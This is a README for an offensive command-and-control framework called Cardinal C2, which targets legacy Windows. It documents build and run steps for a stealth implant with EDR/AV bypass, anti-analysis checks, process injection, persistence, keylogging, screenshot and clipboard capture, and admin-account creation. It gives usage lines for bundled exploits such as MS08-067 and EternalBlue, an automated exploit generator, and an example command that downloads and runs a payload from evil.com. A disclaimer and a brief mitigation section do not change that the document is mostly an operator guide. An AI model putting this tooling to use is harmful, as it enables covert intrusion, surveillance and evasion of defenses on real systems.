Cardinal C2 Framework

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Advanced Command & Control Framework for Legacy Windows Systems

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⚠️ DISCLAIMER

FOR AUTHORIZED SECURITY TESTING AND EDUCATIONAL PURPOSES ONLY

This framework is designed for legitimate penetration testing, security research, and authorized red team operations. Unauthorized access to computer systems is illegal. The authors assume no liability and are not responsible for any misuse or damage caused by this software.

By using Cardinal C2, you agree to:

• Only test systems you own or have explicit written permission to test
• Comply with all applicable laws and regulations
• Use responsibly for defensive security purposes

---

📋 Overview

Cardinal C2 Framework is a comprehensive Command & Control system specifically designed for penetration testing legacy Windows environments. It provides a modern, Cobalt Strike-inspired interface while maintaining compatibility with older Windows systems.

Version 2.0 introduces advanced x86 Assembly enhancements for superior stealth, performance, and EDR/AV bypass capabilities, plus comprehensive target monitoring and control system.

Target Platforms

• Windows 95/98/ME
• Windows 2000 (All Service Packs)
• Windows XP (SP0, SP1, SP2, SP3)
• Windows Server 2003 (SP0, SP1, SP2)
• Windows Server 2008 (R1, R2)
• Windows Vista/7 (Assembly-enhanced features)

Key Features

• 🎯 Multi-Protocol C2: TCP with RC4 encryption
• 🖥️ Native GUI: Win32 API interface in pure C
• 💉 Exploit Framework: 38+ CVE exploits + automated generation (71 CVE database)
• 🔒 Post-Exploitation: Credential dumping, privilege escalation, lateral movement
• 📡 Stealthy Implants: Assembly-enhanced with anti-analysis and direct syscalls
• 🛠️ Extensible: Modular architecture for custom exploits and payloads
• ⚡ Assembly Optimization: Direct syscalls, RC4 encryption, anti-debugging (NEW v2.0)
• 🛡️ EDR/AV Bypass: Usermode hook bypass via direct kernel calls (NEW v2.0)
• 🔍 Anti-Analysis: VM/Sandbox/Debugger detection (NEW v2.0)
• 👁️ Complete Monitoring: Keylogger, screenshot, process control (NEW v2.0)
• 🎮 Full Target Control: File ops, registry, services, privilege escalation (NEW v2.0)

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🏗️ Architecture

Cardinal C2 Framework v2.0 (Assembly Enhanced)
│
├── Server (C + Assembly)      # C2 server backend
│   ├── Session management (up to 100 clients)
│   ├── Command dispatcher
│   ├── Multi-threaded listener
│   └── RC4 encrypted communication (Assembly)
│
├── Client/Implant (C + x86 Assembly)  # Target system agent
│   ├── Anti-analysis module (stealth.asm)
│   │   ├── Debugger detection (5 methods)
│   │   ├── VM detection (VMware/VirtualBox)
│   │   ├── Sandbox detection
│   │   ├── NTDLL unhooking (EDR bypass)
│   │   └── Process injection
│   ├── Direct syscalls (syscalls.asm)
│   │   ├── NtAllocateVirtualMemory
│   │   ├── NtWriteVirtualMemory
│   │   ├── NtCreateThreadEx
│   │   └── 7 more syscalls (bypass hooks)
│   ├── Network optimization (network_asm.asm)
│   │   ├── RC4 encryption (2-3x faster)
│   │   ├── Encrypted socket I/O
│   │   └── HTTP/DNS builders
│   └── Shellcode loader
│
├── GUI (C with Win32 API)    # Operator interface
│   ├── Session dashboard
│   ├── Listener configuration
│   ├── Exploit launcher
│   └── Command console
│
├── Exploits (C + Auto-Generated) # CVE exploit modules
│   ├── Manual Exploits (15)
│   │   ├── MS08-067, MS17-010, MS03-026
│   │   ├── MS10-015, MS11-046, MS12-020
│   │   └── Browser exploits (IE ANI, ActiveX)
│   ├── Generated Exploits (23)
│   └── CVE Database (71 entries)
│       └── Automated exploit generator (Python)
│
└── Build System (PowerShell + Make)
    ├── Automated compilation (NASM + GCC)
    ├── Assembly module linking
    └── Release packaging

Assembly Enhancement Highlights (v2.0)

stealth.asm (500+ lines):

• 5 debugger detection techniques
• VMware/VirtualBox detection
• Sandbox environment checks
• NTDLL unhooking (restore syscalls)
• PEB walking (no API calls)
• Process injection

syscalls.asm (400+ lines):

• 10 direct syscall implementations
• Windows 7/8/10 compatibility
• SYSENTER/INT 2Eh support
• Bypass usermode hooks (EDR/AV)

network_asm.asm (350+ lines):

• RC4 encryption (KSA + PRGA)
• SSE2-optimized XOR
• Encrypted socket send/recv
• HTTP/DNS protocol builders

monitoring.asm (800+ lines) - NEW v2.0:

• Keylogger (captures all keystrokes)
• Screenshot capture (1920x1080)
• Process enumeration and control
• Clipboard monitoring
• Memory dumping

control.asm (700+ lines) - NEW v2.0:

• File operations (list/read/write/delete/move/copy)
• Registry manipulation (read/write keys and values)
• Service control (start/stop Windows services)
• Privilege escalation (RDP enable, user creation)
• Network operations

See ASSEMBLY_GUIDE.md for detailed documentation.

---

🚀 Quick Start

Prerequisites

Build Tools:

• MinGW-w64 (GCC for Windows) or MSVC
• NASM 2.15+ (Netwide Assembler - required for assembly modules)
• GNU Make
• Python 3.8+ (for exploit generation)

Runtime Requirements:

• Windows 7+ (for running GUI and server)

Building from Source

PowerShell Build Script (Recommended)

# Build everything (client, server, GUI, exploits)
.\Build-All.ps1

# Build specific components
.\Build-All.ps1 -Client     # Client only
.\Build-All.ps1 -Server     # Server only
.\Build-All.ps1 -GUI        # GUI only

# Clean build artifacts
.\Build-All.ps1 -Clean

# Create release package
.\Build-All.ps1 -Package

All compiled binaries will be in the bin directory.

Manual Build

# Build enhanced client with assembly
cd client
make enhanced
# Output: build/Cardinal-implant-enhanced.exe

# Build enhanced server with assembly
cd server
make enhanced
# Output: build/Cardinal-server-enhanced.exe

# Build exploits
cd exploits
make all

# Build GUI
cd gui
make all

Assembly Module Compilation

# Compile assembly modules individually
cd client
nasm -f win32 stealth.asm -o build/obj/stealth.obj
nasm -f win32 syscalls.asm -o build/obj/syscalls.obj
nasm -f win32 network_asm.asm -o build/obj/network_asm.obj

# Link with C code
gcc -o build/Cardinal-implant-enhanced.exe \
    build/obj/implant_enhanced.o \
    build/obj/stealth.obj \
    build/obj/syscalls.obj \
    build/obj/network_asm.obj \
    -lws2_32 -ladvapi32

---

📖 Usage

Starting the C2 Server

Enhanced Server (with Assembly encryption)

# Start enhanced server (default port 4444)
.\bin\Cardinal-server-enhanced.exe

# Interactive console commands
Cardinal> list                    # List active sessions
Cardinal> send 0 shell whoami     # Execute command on session 0
Cardinal> kill 0                  # Terminate session 0
Cardinal> stats                   # Show server statistics
Cardinal> exit                    # Shutdown server

Basic Server

# Start basic server
.\bin\Cardinal-server.exe

# Start on custom port
.\bin\Cardinal-server.exe 8080

Server Console Commands:

Command	Description	Example
list	List all active sessions	list
send <id> <cmd>	Send command to session	send 0 shell dir
kill <id>	Terminate a session	kill 0
broadcast <cmd>	Send to all sessions	broadcast shell whoami
stats	Server statistics	stats
exit	Shutdown server	exit

Deploying Implants

Enhanced Implant (with Assembly modules)

The enhanced implant includes:

• Anti-analysis checks (debugger/VM/sandbox detection)
• Direct syscalls (bypass EDR/AV hooks)
• RC4 encrypted communication
• Process injection capabilities

# Run enhanced implant (connects to C2_SERVER in code)
.\bin\Cardinal-implant-enhanced.exe

# Implant will:
# 1. Perform anti-analysis checks
# 2. Unhook NTDLL to bypass hooks
# 3. Connect to C2 with RC4 encryption
# 4. Send beacon (hostname, PID, OS)
# 5. Await commands

Configuration (edit client/implant_enhanced.c):

#define C2_SERVER "192.168.1.100"  // Change to your server IP
#define C2_PORT 4444
#define ENCRYPTION_KEY "CardinalC2SecretKey2025"

Basic Implant

.\bin\Cardinal-implant.exe <server_ip> <port>

# Example
.\bin\Cardinal-implant.exe 192.168.1.10 4444

Supported Commands (Enhanced Implant)

Basic Commands

Command	Description	Example
shell <cmd>	Execute system command	shell dir C:\
download <url>	Download and execute	download http://evil.com/payload.exe
inject <pid>	Inject into process	inject 1234
persist	Install persistence	persist
exit	Terminate implant	exit
help	Show all commands	help

Monitoring Commands (NEW v2.0)

Command	Description	Example
keylog start/stop/dump	Keystroke capture	keylog start
screenshot	Screen capture	screenshot
ps / processlist	List processes	ps
kill <pid|name>	Terminate process	kill notepad.exe
clipboard monitor/get	Clipboard access	clipboard get
sysinfo	System information	sysinfo

File Operations (NEW v2.0)

Command	Description	Example
file list <path>	List directory	file list C:\Users
file read <path>	Read file	file read passwords.txt
file delete <path>	Delete file	file delete evidence.log
file mkdir <path>	Create directory	file mkdir C:\temp\data
file move <src> <dst>	Move file	file move a.txt b.txt
file copy <src> <dst>	Copy file	file copy cmd.exe shell.exe

Registry Operations (NEW v2.0)

Command	Description	Example
reg read <key> <value>	Read registry	reg read "Software\..." Value
reg write <key> <value>	Write registry	reg write "Software\..." Value

Service Control (NEW v2.0)

Command	Description	Example
service start <name>	Start service	service start W32Time
service stop <name>	Stop service	service stop wuauserv

Privilege Escalation (NEW v2.0)

Command	Description	Example
privesc rdp	Enable RDP	privesc rdp
privesc adduser <u> <p>	Create admin user	privesc adduser hacker P@ss!

See COMMANDS.md for complete command reference with examples

Launching the GUI

# Start the GUI application
.\bin\CardinalC2-GUI.exe

GUI Features:

1. Sessions Tab - View and interact with active implant connections

   • ListView with session details (ID, hostname, IP, OS, status)
   • Double-click to interact with a session
   • Right-click for context menu options

2. Listeners Tab - Configure and manage C2 listeners

   • View active/stopped listeners
   • Protocol, port, and connection status
   • Add/remove listeners

3. Exploits Tab - Browse and launch CVE exploits

   • Searchable exploit database
   • CVE, target OS, and exploit type information
   • Double-click to launch exploit

4. Command Console - Send commands to active sessions

   • Real-time output display
   • Command history
   • Interactive shell

Using Exploits

MS08-067 (NetAPI32 RPC)

.\bin\exploits\ms08-067.exe <target_ip> <os_type>

# Example for Windows XP SP3
.\bin\exploits\ms08-067.exe 192.168.1.100 1

OS Types:

• 0 = Windows XP SP2
• 1 = Windows XP SP3
• 2 = Windows 2003 SP1
• 3 = Windows 2003 SP2
• 4 = Windows 2000 SP4

MS17-010 (EternalBlue)

.\bin\exploits\ms17-010.exe <target_ip>

# Example
.\bin\exploits\ms17-010.exe 192.168.1.100

MS03-026 (RPC DCOM)

.\bin\exploits\ms03-026.exe <target_ip> <os_type>

# Example for Windows 2000 SP4
.\bin\exploits\ms03-026.exe 192.168.1.50 0

---

📚 Project Structure

MoonLignt-C2-Framework/
├── server/                  # C2 server source
│   ├── main.c              # Basic server
│   ├── main_enhanced.c     # Enhanced with assembly
│   ├── Makefile
│   └── build/              # Compiled binaries
├── client/                  # Implant source
│   ├── implant.c           # Basic implant
│   ├── implant_enhanced.c  # Enhanced with assembly
│   ├── monitoring_control.c # Monitoring dispatcher (NEW v2.0)
│   ├── shellcode.asm       # Position-independent shellcode
│   ├── stealth.asm         # Anti-analysis module (NEW v2.0)
│   ├── syscalls.asm        # Direct syscalls (NEW v2.0)
│   ├── network_asm.asm     # RC4 encryption (NEW v2.0)
│   ├── monitoring.asm      # Keylogger, screenshot, process control (NEW v2.0)
│   ├── control.asm         # File, registry, service ops (NEW v2.0)
│   ├── Makefile
│   └── build/              # Compiled binaries
├── exploits/                # CVE exploit modules
│   ├── ms08_067.c          # Manual exploits (15 total)
│   ├── ms03_026.c
│   ├── ms17_010.c
│   ├── ms10_015.c          # Privilege escalation
│   ├── ms11_046.c
│   ├── ms12_020.c          # RDP exploit
│   ├── ie_ani_exploit.c    # Browser exploits
│   ├── generated/          # Auto-generated (23 exploits)
│   │   ├── ms03_026.c
│   │   ├── ms05_039.c
│   │   └── ... (21 more)
│   ├── massive_cve_database.json  # 71 CVE entries
│   ├── exploit_generator.py       # Automated generator
│   ├── mass_cve_scraper.py        # CVE scraper
│   └── Makefile
├── gui/                     # Win32 GUI (C)
│   ├── main.c              # Main GUI implementation
│   └── Makefile
├── bin/                     # Compiled binaries (generated)
│   ├── Cardinal-server-enhanced.exe
│   ├── Cardinal-implant-enhanced.exe
│   ├── CardinalC2-GUI.exe
│   └── exploits/
├── Build-All.ps1            # Master build script (NEW v2.0)
├── ASSEMBLY_GUIDE.md        # Assembly documentation (NEW v2.0)
├── COMMANDS.md              # Complete command reference (NEW v2.0)
├── README.md
├── USAGE.md
└── LICENSE

### File Statistics

- **Total Lines of Code**: ~20,000+
- **Assembly Code**: 2,500+ lines (5 modules)
- **C Code**: ~16,000 lines (server, client, exploits, monitoring, GUI)
- **Exploit Count**: 38 (15 manual + 23 generated)
- **CVE Database**: 71 entries
- **Monitoring Commands**: 25+ commands

---

## 🛡️ Evasion Techniques

### Assembly-Enhanced Anti-Analysis (v2.0)

#### 1. Debugger Detection (stealth.asm)
- **PEB->BeingDebugged**: Check flag at PEB+0x02
- **NtQueryInformationProcess**: Detect debug port (returns -1)
- **Timing Checks**: RDTSC instruction comparison
- **Hardware Breakpoints**: Check DR0-DR3 debug registers
- **Exception Handling**: CloseHandle invalid handle detection

#### 2. Virtual Machine Detection
- **CPUID Hypervisor Bit**: Check ECX bit 31 (leaf 1)
- **VMware Backdoor**: IN instruction on port 0x5658
- **VirtualBox Signatures**: CPUID vendor string matching

#### 3. Sandbox Detection
- **Uptime Check**: GetTickCount() < 10 minutes
- **Resource Validation**: < 2 CPUs or < 2GB RAM
- **Sleep Acceleration**: Timing checks for sleep skipping

#### 4. EDR/AV Bypass
- **Direct Syscalls**: Call kernel via INT 2Eh/SYSENTER (bypass NTDLL hooks)
- **NTDLL Unhooking**: Restore original syscall stubs from disk
- **API Hashing**: Dynamic resolution without IAT
- **No Imports**: Zero suspicious imports in PE header

#### 5. Network Stealth
- **RC4 Encryption**: 256-bit key stream cipher
- **No HTTP Headers**: Raw TCP to avoid detection
- **Heartbeat Jitter**: Randomized beacon intervals
- **Encrypted Payloads**: All data encrypted before transmission

#### 6. Additional Techniques
- **No console window** (runs silently)
- **Dynamic API resolution** (avoids static imports)
- **Process injection** via direct syscalls
- **Minimal memory footprint** (< 100KB)
- **Automatic reconnection** with exponential backoff

### Performance Benchmarks (Assembly vs C)

| Operation | C Implementation | Assembly | Speedup |
|-----------|------------------|----------|---------|
| Direct Syscall | N/A (uses API) | Native | 40% faster |
| RC4 Encryption | Baseline | Optimized | 2-3x |
| XOR (SSE2) | Scalar | Vectorized | 8-16x |
| Binary Size | 150KB | 120KB | 20% smaller |

See [ASSEMBLY_GUIDE.md](ASSEMBLY_GUIDE.md) for detailed technical documentation.

---

## 🔍 Detection & Mitigation

### Network Indicators

- TCP connections on non-standard ports (default: 4444)
- Heartbeat traffic every 30 seconds
- Raw binary data transfers

### Mitigation Strategies

1. **Network Segmentation** - Isolate critical systems
2. **Firewall Rules** - Block unnecessary outbound connections
3. **EDR/AV** - Deploy endpoint detection and response
4. **Patching** - Keep systems updated (target systems are EOL)
5. **Monitoring** - Implement behavior-based detection

---

## 📖 CVE References

### Implemented Exploits (38 Total)

#### Network/Remote Exploits (15 Manual)
- **MS08-067**: CVE-2008-4250 - Windows Server Service RPC Handling
- **MS17-010**: CVE-2017-0144 - SMBv1 Remote Code Execution (EternalBlue)
- **MS03-026**: CVE-2003-0352 - RPC DCOM Buffer Overflow
- **MS03-039**: CVE-2003-0533 - RPC DCOM Interface Buffer Overrun
- **MS05-039**: CVE-2005-1983 - Plug and Play Service Overflow
- **MS06-040**: CVE-2006-2370 - Server Service NetpwPathCanonicalize
- **MS09-050**: CVE-2009-3103 - SMBv2 Negotiate Protocol Request
- **MS08-025**: CVE-2008-1084 - Windows Kernel Privilege Escalation

#### Privilege Escalation Exploits
- **MS10-015**: CVE-2010-0232 - Windows Kernel Exception Handler
- **MS11-046**: CVE-2011-1249 - Ancillary Function Driver (AFD.sys)
- **MS10-061**: CVE-2010-2554 - Print Spooler Service Impersonation

#### Browser Exploits
- **MS12-020**: CVE-2012-0002 - Terminal Services RDP
- **IE ANI**: CVE-2007-0038 - Animated Cursor Handling
- **IE ActiveX**: CVE-2006-0003 - COM Object Instantiation
- **MS06-014**: CVE-2006-0003 - MDAC Function bufferoverflow

#### Auto-Generated Exploits (23)
See `exploits/generated/` for:
- MS03-026, MS05-039, MS06-040, MS09-050
- MS10-015, MS11-046, MS12-020
- And 16 more CVE exploits

### CVE Database

**massive_cve_database.json** contains 71 CVE entries:
- Windows 95/98/ME: 11 CVEs
- Windows NT 4.0: 27 CVEs
- Windows 2000: 50 CVEs
- Windows XP: 42 CVEs
- Windows Server 2003: 29 CVEs
- Windows Vista: 12 CVEs
- Windows 7: 7 CVEs
- Windows Server 2008: 9 CVEs

**Severity Distribution**:
- Critical: 47 (66%)
- High: 18 (25%)
- Medium: 6 (9%)

**Exploit Type**:
- Remote: 52 (73%)
- Local: 13 (18%)
- Browser: 6 (9%)

### Automated Exploit Generation

Use the included Python tools to expand the exploit database:

```bash
# Scrape CVE database
python exploits/mass_cve_scraper.py

# Generate exploit modules from JSON
python exploits/exploit_generator.py

# Compile generated exploits
cd exploits/generated
make all

This can generate hundreds of exploit modules automatically.

---

📄 License

This project is released under an Educational License. See LICENSE file for details.

Key Points:

• ✅ Educational and research use
• ✅ Authorized penetration testing
• ✅ Defensive security development
• ❌ Unauthorized access to systems
• ❌ Malicious use
• ❌ Production deployment without proper authorization

---

📖 Documentation

• README.md - This file (overview and quick start)
• BUILD_GUIDE.md - Complete build instructions
• ASSEMBLY_GUIDE.md - Detailed assembly documentation
• COMMANDS.md - Complete command reference with examples
• USAGE.md - Comprehensive usage guide
• LICENSE - Educational license terms

---

🔄 Version History

v2.0 (Current) - Monitoring & Control Enhancement

• ✅ Added 1,500+ lines of monitoring/control assembly
• ✅ Complete keylogger with window title capture
• ✅ Screenshot capture (1920x1080 BMP)
• ✅ Process enumeration and kill by PID/name
• ✅ Clipboard monitoring and retrieval
• ✅ File operations (list/read/write/delete/move/copy)
• ✅ Registry manipulation (read/write)
• ✅ Service control (start/stop)
• ✅ Privilege escalation (RDP, user creation)
• ✅ 25+ monitoring/control commands
• ✅ Comprehensive command documentation

v2.0-beta - Assembly Enhancement

• ✅ Added 1,250+ lines of x86 assembly
• ✅ Direct syscall implementation (10 syscalls)
• ✅ Anti-analysis module (debugger/VM/sandbox detection)
• ✅ RC4 encryption in assembly (2-3x faster)
• ✅ NTDLL unhooking (EDR bypass)
• ✅ Enhanced server with multi-threading
• ✅ 38 exploits + automated generation
• ✅ Comprehensive build system (PowerShell)

v1.0 - Initial Release

• ✅ Basic C2 server/client
• ✅ 3 CVE exploits (MS08-067, MS17-010, MS03-026)
• ✅ Windows Forms GUI
• ✅ Basic shellcode support

---

⚠️ Remember: Always obtain proper authorization before testing any system! ⚠️

"With great power comes great responsibility"

Cardinal C2 Framework v2.0
Made for Authorized Penetration Testing & Security Research

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Report Issues | Build Guide | Assembly Guide | Command Reference | License